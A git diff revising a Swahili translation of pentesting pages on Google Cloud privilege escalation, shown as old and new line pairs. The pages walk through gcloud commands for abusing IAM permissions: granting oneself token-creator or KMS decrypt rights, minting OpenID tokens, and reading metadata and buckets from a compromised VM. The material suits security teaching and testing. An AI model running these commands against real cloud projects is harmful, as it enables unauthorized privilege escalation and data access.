Unaweza kupata skripti ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) na skripti ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuongeza sera za IAM kwa akaunti za huduma**. Unaweza kutumia hii **kujipa** ruhusa unazohitaji ili kujifanya kuwa akaunti ya huduma. Katika mfano ufuatao tunajipa nafasi ya `roles/iam.serviceAccountTokenCreator` juu ya SA inayovutia:
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuongeza sera za IAM kwa akaunti za huduma**. Unaweza kuitumia ili **kujipa** ruhusa unazohitaji ili kujifanya kuwa akaunti ya huduma. Katika mfano ufuatao tunajipa nafasi ya `roles/iam.serviceAccountTokenCreator` juu ya SA ya kuvutia:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -95,11 +95,11 @@ Kuwakilisha akaunti ya huduma kunaweza kuwa na manufaa sana ili **kupata ruhusa
- Uthibitishaji **ukitumia funguo za faragha za RSA** (zilizoelezwa hapo juu)
- Uidhinishaji **ukitumia sera za Cloud IAM** (zilizoelezwa hapa)
- **Kuweka kazi kwenye huduma za GCP** (inatumika zaidi kwa kuathiri akaunti ya mtumiaji)
- **Kuweka kazi kwenye huduma za GCP** (zaidi inahusiana na kuathiri akaunti ya mtumiaji)
### `iam.serviceAccounts.getOpenIdToken`
Mshambuliaji mwenye ruhusa zilizoelezwa ataweza kuunda OpenID JWT. Hizi zinatumika kuthibitisha utambulisho na hazibebei ruhusa yoyote ya kimya dhidi ya rasilimali.
Mshambuliaji mwenye ruhusa zilizoelezwa ataweza kuunda OpenID JWT. Hizi zinatumika kuthibitisha utambulisho na hazibebei uidhinishaji wowote wa moja kwa moja dhidi ya rasilimali.
Kulingana na [**chapisho la kuvutia**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), ni muhimu kuashiria hadhira (huduma ambapo unataka kutumia tokeni kuthibitisha) na utapokea JWT iliyosainiwa na google ikionyesha akaunti ya huduma na hadhira ya JWT.
@@ -110,7 +110,7 @@ gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Basi unaweza tu kuitumia kufikia huduma kwa:
Basi unaweza tu kuitumia kufikia huduma hiyo kwa:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
@@ -123,7 +123,7 @@ Baadhi ya huduma zinazounga mkono uthibitishaji kupitia aina hii ya token ni:
Unaweza kupata mfano wa jinsi ya kuunda token ya OpenID kwa niaba ya akaunti ya huduma [**hapa**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Marejeo
## Marejeleo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -26,7 +26,7 @@ gcloud kms decrypt \
```
### `cloudkms.cryptoKeys.setIamPolicy`
Mshambuliaji mwenye ruhusa hii anaweza **kujipe ruhusa** za kutumia funguo kufungua taarifa.
Mshambuliaji mwenye ruhusa hii anaweza **kujipe ruhusa** kutumia funguo kufungua taarifa.
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -55,13 +55,13 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
2. **Unda Kazi Maalum kwa Kutumia gcloud CLI**: Tumia amri ifuatayo kuunda kazi maalum katika mradi wako wa Google Cloud:
2. **Unda Rolihusika ya Kijadi kwa Kutumia gcloud CLI**: Tumia amri ifuatayo kuunda roli ya kijadi katika mradi wako wa Google Cloud:
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
Badilisha `[YOUR_PROJECT_ID]` na kitambulisho chako cha mradi wa Google Cloud.
3. **Patia Jukumu Maalum Akaunti ya Huduma**: Teua jukumu lako maalum kwa akaunti ya huduma ambayo itakuwa ikitumia ruhusa hii. Tumia amri ifuatayo:
3. **Patia Jukumu Maalum Akaunti ya Huduma**: Peana jukumu lako maalum kwa akaunti ya huduma ambayo itakuwa ikitumia ruhusa hii. Tumia amri ifuatayo:
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
katika hali hii tunaenda kudhani kwamba umepata **kuvunjika kwa akaunti isiyo na hadhi** ndani ya VM katika mradi wa Compute Engine.
katika hali hii tunaenda kudhani kwamba wewe **umepata akaunti isiyo na hadhi** ndani ya VM katika mradi wa Compute Engine.
Kwa kushangaza, ruhusa za GPC za injini ya kompyuta uliyovunja zinaweza kusaidia **kupandisha hadhi ndani ya mashine**. Hata kama hiyo haitakuwa na msaada mkubwa katika mazingira ya wingu, ni vizuri kujua kuwa inawezekana.
Kwa kushangaza, ruhusa za GPC za injini ya kompyuta uliyovunja zinaweza kukusaidia **kupandisha hadhi ndani ya mashine**. Hata kama hiyo haitakuwa na msaada mkubwa katika mazingira ya wingu, ni vizuri kujua kuwa inawezekana.
## Soma scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
@@ -14,7 +14,7 @@ Kama IAM inavyokuwa ya kina, akaunti inaweza kuwa na **ruhusa za kusoma/kandika*
Mfano mzuri wa nadharia hii ni Compute Instance ambayo ina ruhusa ya kusoma/kandika nakala za akiba kwenye chombo cha kuhifadhi kinachoitwa `instance82736-long-term-xyz-archive-0332893`.
Kukimbia `gsutil ls` kutoka kwenye mstari wa amri hakurejeshi chochote, kwani akaunti ya huduma haina ruhusa ya `storage.buckets.list` ya IAM. Hata hivyo, ikiwa ulifanya `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` unaweza kupata nakala kamili ya mfumo wa faili, ikikupa ufikiaji wa maandiko wazi wa data ambayo akaunti yako ya ndani ya Linux haina.
Kukimbia `gsutil ls` kutoka kwenye mstari wa amri hakurejeshi chochote, kwani akaunti ya huduma haina ruhusa ya `storage.buckets.list` ya IAM. Hata hivyo, ikiwa ungeendesha `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` unaweza kupata nakala kamili ya mfumo wa faili, ikikupa ufikiaji wa maandiko wazi kwa data ambayo akaunti yako ya ndani ya Linux haina.
Unaweza kuwa na uwezo wa kupata jina la chombo hiki ndani ya script (katika bash, Python, Ruby...).
@@ -22,7 +22,7 @@ Unaweza kuwa na uwezo wa kupata jina la chombo hiki ndani ya script (katika bash
Wasimamizi wanaweza kuongeza [metadata ya kijadi](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) katika **kifaa** na **ngazi ya mradi**. Hii ni njia rahisi ya kupitisha **funguo/makundi yasiyo na mpangilio ndani ya kifaa**, na hutumiwa mara nyingi kwa mabadiliko ya mazingira na scripts za kuanzisha/kuzima.
Zaidi ya hayo, inawezekana kuongeza **userdata**, ambayo ni script ambayo itatekelezwa **kila wakati** mashine inapoanzishwa au kuanzishwa upya na ambayo inaweza **kupatikana kutoka kwa kiunganishi cha metadata pia.**
Zaidi ya hayo, inawezekana kuongeza **userdata**, ambayo ni script ambayo itatekelezwa **kila wakati** mashine inapoanzishwa au kuanzishwa upya na ambayo inaweza **kupatikana kutoka kwa mwisho wa metadata pia.**
Kwa maelezo zaidi angalia:
@@ -32,7 +32,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
## **Kutatiza ruhusa za IAM**
Zaidi ya ruhusa zilizopendekezwa hapa chini, nyingi zinatolewa kwa **SA ya kawaida ya Compute,** tatizo pekee ni kwamba **mpangilio wa default wa ufikiaji unazuia SA kuitumia**. Hata hivyo, ikiwa **`cloud-platform`** **mpangilio** umewezeshwa au tu **`compute`** **mpangilio** umewezeshwa, utaweza **kuzitumia vibaya**.
Zaidi ya ruhusa zilizopendekezwa zifuatazo ni **zinazopewa SA ya kawaida ya Compute,** tatizo pekee ni kwamba **mpangilio wa default wa ufikiaji unazuia SA kuitumia**. Hata hivyo, ikiwa **`cloud-platform`** **mpangilio** umewezeshwa au tu **`compute`** **mpangilio** umewezeshwa, utaweza **kuzitumia vibaya**.
Angalia ruhusa zifuatazo:

Some files were not shown because too many files have changed in this diff Show More